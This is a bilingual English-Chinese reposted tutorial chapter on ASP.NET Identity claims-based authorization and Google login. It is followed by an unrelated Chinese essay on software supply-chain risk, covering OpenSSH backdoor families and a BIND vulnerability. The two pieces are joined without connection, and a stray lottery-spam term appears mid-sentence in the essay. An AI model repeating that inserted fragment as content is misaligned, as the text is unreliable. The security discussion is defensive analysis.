从多个地点获取声明(Claims)意味着应用程序不必复制其他地方保持的数据,并且能够与外部的数据集成。Claim.Issuer属性(图15-6中的Issuer数据列——译者注)能够告诉你一个声明(Claim)的发源地,这有助于让你判断数据的精确程度,也有助于让你决定这类数据在应用程序中的权重。例如,从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明(Claims) The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明(Claims)有意思的第二个原因是,你可以用它们来管理用户对应用程序的访问,这要比标准的角色管理更为灵活。角色的问题在于它们是静态的,而且一旦用户已经被赋予了一个角色,该用户便是一个成员,直到明确地删除为止。例如,这意味着大公司的长期雇员,对内部系统的访问会十分惊人:他们每次在获得新工作时,都会赋予所需的角色,但旧角色很少被删除。(在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现,有时会出现异常宽泛的系统访问——真实的故事) Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明(Claims)可以直接根据用户已知的信息对用户进行授权,这能够保证当数据发生变化时,授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明(Claim),然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法,它使用了Lambda表达式,以检查用户是否具有StateOrProvince声明(Claim),该声明来自于RemoteClaims发行者(Issuer),值为DC。也检查用户是否具有Role声明(Claim),其值为Employees。如果用户这两个声明都有,那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员,来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法,在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明(Claims)承认他们是DCStaff角色的成员,那么他们便能访问OtherAction动作。该角色的成员是动态生成的,因此,若是用户的雇用状态或地点信息发生变化,也会改变他们的授权等级。 提示:请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度,仁者见仁,智者见智,能领悟多少,全凭各人,译者感觉这里的思想有无数的可能。举例说明:(1)可以根据用户的身份进行授权,比如学生在校时是“学生”,毕业后便是“校友”;(2)可以根据用户所处的部门进行授权,人事部用户属于人事团队,销售部用户属于销售团队,各团队有其自己的应用;(3)下一小节的示例是根据用户的地点授权。简言之:一方面用户的各种声明(Claim)都可以用来进行授权;另一方面用户的声明(Claim)又是可以自定义的。于是可能的运用就无法估计了。总之一句话,这种基于声明的授权(Claims-Based Authorization)有无限可能!要是没有我这里的提示,是否所有读者在此处都会有所体会?——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明(Claims)授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明(Claims)来保持新鲜和准确的授权,但有点不太直接,因为我要根据声明(Claims)数据来生成了角色,然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权,其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容,我将它添加在Infrastructure文件夹中,并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类,通过重写AuthorizeCore方法,很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中,若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例,而且该用户有一个带有issuer、type以及value的声明(Claim),它们与这个类的属性是匹配的,则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器,以便根据LocationClaimsProvider类创建的地点声明(Claim),对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明(Claim)的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统,如ASP.NET Identity,的好处之一是任何声明都可以来自于外部系统,即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户,而ASP.NET Identity就建立在这样的思想之上,使之能够简单而方便地添加第三方认证用户的支持,如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处:许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中,我将演示如何为Google用户建立并使用第三方认证,表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证? Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司,如Google和Facebook,的优势。 Why should I care? 为何要关心它? Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示:我选择演示Google认证的原因是,它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节,请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持,并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包,包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console(包管理器控制台)”中输入以下命令: Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包,如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包,便可以在OWIN启动类中启用此项认证服务的支持,启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication,它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮,让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单,目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法,以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例,并为RedirectUri属性设置了一个URL,其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段,通过将用户重定向到Google认证页面,而不是应用程序所定义的认证页面,让ASP.NET Identity对未授权的错误进行响应: ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着,当用户通过点击Google按钮进行登录时,浏览器被重定向到Google的认证服务,一旦在那里认证之后,便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法,我获得了外部登录的细节,如下所示: ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示: Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法,以便根据ExternalLoginInfo.Login属性的值对用户进行定位,如果用户之前在应用程序中已经认证,该属性会返回一个AppUser对象: ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象,那么我便知道这是用户首次登录应用程序,于是便创建了一个新的AppUser对象,填充该对象的值,并将其保存到数据库。我还保存了用户如何登录的细节,以便下次能够找到他们: ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了,拷贝Google提供的声明(Claims),并创建一个认证Cookie,以使应用程序知道此用户已认证: ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改:需要修改第13章所建立的账号验证,因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示:也可以使用外部已认证账号的验证,但这里出于简化,取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证,启动应用程序,通过点击“Log In via Google(通过Google登录)”按钮,并提供有效的Google账号凭据。当你完成了认证过程时,浏览器将被重定向回应用程序。如果导航到/Claims/Index URL,便能够看到来自Google系统的声明(Claims),已被添加到用户的标识中了,如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明(Claims) 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用,还演示了在升级数据架构时,如何使用数据库迁移保护数据。我解释了声明(Claims)的工作机制,以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章,这是建立在使用声明(Claims)的思想基础之上的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gz19871113/article/details/108591802。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-28 08:49:21
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...源代码进行大刀阔斧的修改、剪裁、定制,以符合自身业务的极端需求,但是过多的修改、人员的迭代造成与官方代码严重的失同步,丧失可维护性。 ·更一般的情况是,在开发中,开发者个体往往心照不宣的存在对网上代码文件、代码片段的复制-粘贴操作。被参考的代码,可能有上述的开源代码,也可能有各种Github作者练手项目、技术博客分享的代码片段、正式开源项目仅用来说明用法的不完备示例代码。这些代码的引入完全无迹可寻,即便是作者自己也很难解释用了什么。这种情况下,上面两条认定的那些与官方安全更新失同步的问题同样存在,且引入了独特的风险:被借鉴的代码可能只是原作者随手写的、仅仅是功能成立的片段,甚至可能是恶意作者随意散布的有安全问题的代码。由此,问题进入了最大的发散空间。 在Synopsys下BLACKDUCK软件之前发布的《2018 Open Source Security and Risk Analysis Report》中分析,96%的应用中包含有开源组件和代码,开源代码在应用全部代码中的占比约为57%,78%的应用中在引用的三方开源代码中存在历史漏洞。也就是说,现在互联网上所有厂商开发的软件、应用,其开发人员自己写的代码都是一少部分,多数都是借鉴来的。而这还只是可统计、可追溯的;至于上面提到的非规范的代码引用,如果也纳入进来考虑,三方代码占应用中的比例会上升到多少?曾经有分析认为至少占80%,我们只期望不会更高。 Ⅱ. 从碎片到乱刃:OpenSSH在野后门一览 在进行基础软件梳理时,回忆到反病毒安全软件提供商ESET在2018年十月发布的一份白皮书《THE DARK SIDE OF THE FORSSHE: A landscape of OpenSSH backdoors》。其站在一个具有广泛用户基础的软件提供商角度,给出了一份分析报告,数据和结论超出我们对于当前基础软件使用全景的估量。以下以我的角度对其中一方面进行解读。 一些必要背景 SSH的作用和重要性无需赘言;虽然我们站在传统互联网公司角度,可以认为SSH是通往生产服务器的生命通道,但当前多样化的产业环境已经不止于此(如之前libssh事件中,不幸被我言中的,SSH在网络设备、IoT设备上(如f5)的广泛使用)。 OpenSSH是目前绝大多数SSH服务端的基础软件,有完备的开发团队、发布规范、维护机制,本身是靠谱的。如同绝大多数基础软件开源项目的做法,OpenSSH对漏洞有及时的响应,针对最新版本代码发出安全补丁,但是各大Linux发行版使用的有各种版本的OpenSSH,这些社区自行负责将官方开发者的安全补丁移植到自己系统搭载的低版本代码上。天空彩 白皮书披露的现状 如果你是一个企业的运维管理人员,需要向企业生产服务器安装OpenSSH或者其它基础软件,最简单的方式当然是使用系统的软件管理安装即可。但是有时候,出于迁移成本考虑,可能企业需要在一个旧版本系统上,使用较新版本的OpenSSL、OpenSSH等基础软件,这些系统不提供,需要自行安装;或者需要一个某有种特殊特性的定制版本。这时,可能会选择从某些rpm包集中站下载某些不具名第三方提供的现成的安装包,或者下载非官方的定制化源码本地编译后安装,总之从这里引入了不确定性。 这种不确定性有多大?我们粗估一下,似乎不应成为问题。但这份白皮书给我们看到了鲜活的数据。 ESET研究人员从OpenSSH的一次历史大规模Linux服务端恶意软件Windigo中获得启示,采用某种巧妙的方式,面向在野的服务器进行数据采集,主要是系统与版本、安装的OpenSSH版本信息以及服务端程序文件的一个特殊签名。整理一个签名白名单,包含有所有能搜索到的官方发布二进制版本、各大Linux发行版本各个版本所带的程序文件版本,将这些标定为正常样本进行去除。最终结论是: ·共发现了几百个非白名单版本的OpenSSH服务端程序文件ssh和sshd; ·分析这些样本,将代码部分完全相同,仅仅是数据和配置不同的合并为一类,且分析判定确认有恶意代码的,共归纳为 21个各异的恶意OpenSSH家族; ·在21个恶意家族中,有12个家族在10月份时完全没有被公开发现分析过;而剩余的有一部分使用了历史上披露的恶意代码样本,甚至有源代码; ·所有恶意样本的实现,从实现复杂度、代码混淆和自我保护程度到代码特征有很大跨度的不同,但整体看,目的以偷取用户凭证等敏感信息、回连外传到攻击者为主,其中有的攻击者回连地址已经存在并活跃数年之久; ·这些后门的操控者,既有传统恶意软件黑产人员,也有APT组织; ·所有恶意软件或多或少都在被害主机上有未抹除的痕迹。ESET研究者尝试使用蜜罐引诱出攻击者,但仍有许多未解之谜。这场对抗,仍未取胜。 白皮书用了大篇幅做技术分析报告,此处供细节分析,不展开分析,以下为根据恶意程序复杂度描绘的21个家族图谱: 问题思考 问题引入的可能渠道,我在开头进行了一点推测,主要是由人的原因切入的,除此以外,最可能的是恶意攻击者在利用各种方法入侵目标主机后,主动替换了目标OpenSSH为恶意版本,从而达成攻击持久化操作。但是这些都是止血的安全运维人员该考虑的事情;关键问题是,透过表象,这显露了什么威胁形式? 这个问题很好回答,之前也曾经反复说过:基础软件碎片化。 如上一章节简单提到,在开发过程中有各种可能的渠道引入开发者不完全了解和信任的代码;在运维过程中也是如此。二者互相作用,造成了软件碎片化的庞杂现状。在企业内部,同一份基础软件库,可能不同的业务线各自定制一份,放到企业私有软件仓库源中,有些会有人持续更新供自己产品使用,有些由系统软件基础设施维护人员单独维护,有些则可能是开发人员临时想起来上传的,他们自己都不记得;后续用到的这个基础软件的开发和团队,在这个源上搜索到已有的库,很大概率会倾向于直接使用,不管来源、是否有质量背书等。长此以往问题会持续发酵。而我们开最坏的脑洞,是否可能有黑产人员入职到内部,提交个恶意基础库之后就走人的可能?现行企业安全开发流程中审核机制的普遍缺失给这留下了空位。 将源码来源碎片化与二进制使用碎片化并起来考虑,我们不难看到一个远远超过OpenSSH事件威胁程度的图景。但这个问题不是仅仅靠开发阶段规约、运维阶段规范、企业内部管控、行业自查、政府监管就可以根除的,最大的问题归根结底两句话: 不可能用一场战役对抗持续威胁;不可能用有限分析对抗无限未知。 Ⅲ. 从自信到自省:RHEL、CentOS backport版本BIND漏洞 2018年12月20日凌晨,在备战冬至的软件供应链安全大赛决赛时,我注意到漏洞预警平台捕获的一封邮件。但这不是一个漏洞初始披露邮件,而是对一个稍早已披露的BIND在RedHat、CentOS发行版上特定版本的1day漏洞CVE-2018-5742,由BIND的官方开发者进行额外信息澄(shuǎi)清(guō)的邮件。 一些必要背景 关于BIND 互联网的一个古老而基础的设施是DNS,这个概念在读者不应陌生。而BIND“是现今互联网上最常使用的DNS软件,使用BIND作为服务器软件的DNS服务器约占所有DNS服务器的九成。BIND现在由互联网系统协会负责开发与维护参考。”所以BIND的基础地位即是如此,因此也一向被大量白帽黑帽反复测试、挖掘漏洞,其开发者大概也一直处在紧绷着应对的处境。 关于ISC和RedHat 说到开发者,上面提到BIND的官方开发者是互联网系统协会(ISC)。ISC是一个老牌非营利组织,目前主要就是BIND和DHCP基础设施的维护者。而BIND本身如同大多数历史悠久的互联网基础开源软件,是4个UCB在校生在DARPA资助下于1984年的实验室产物,直到2012年由ISC接管。 那么RedHat在此中是什么角色呢?这又要提到我之前提到的Linux发行版和自带软件维护策略。Red Hat Enterprise Linux(RHEL)及其社区版CentOS秉持着稳健的软件策略,每个大的发行版本的软件仓库,都只选用最必要且质量久经时间考验的软件版本,哪怕那些版本实在是老掉牙。这不是一种过分的保守,事实证明这种策略往往给RedHat用户在最新漏洞面前提供了保障——代码总是跑得越少,潜在漏洞越多。 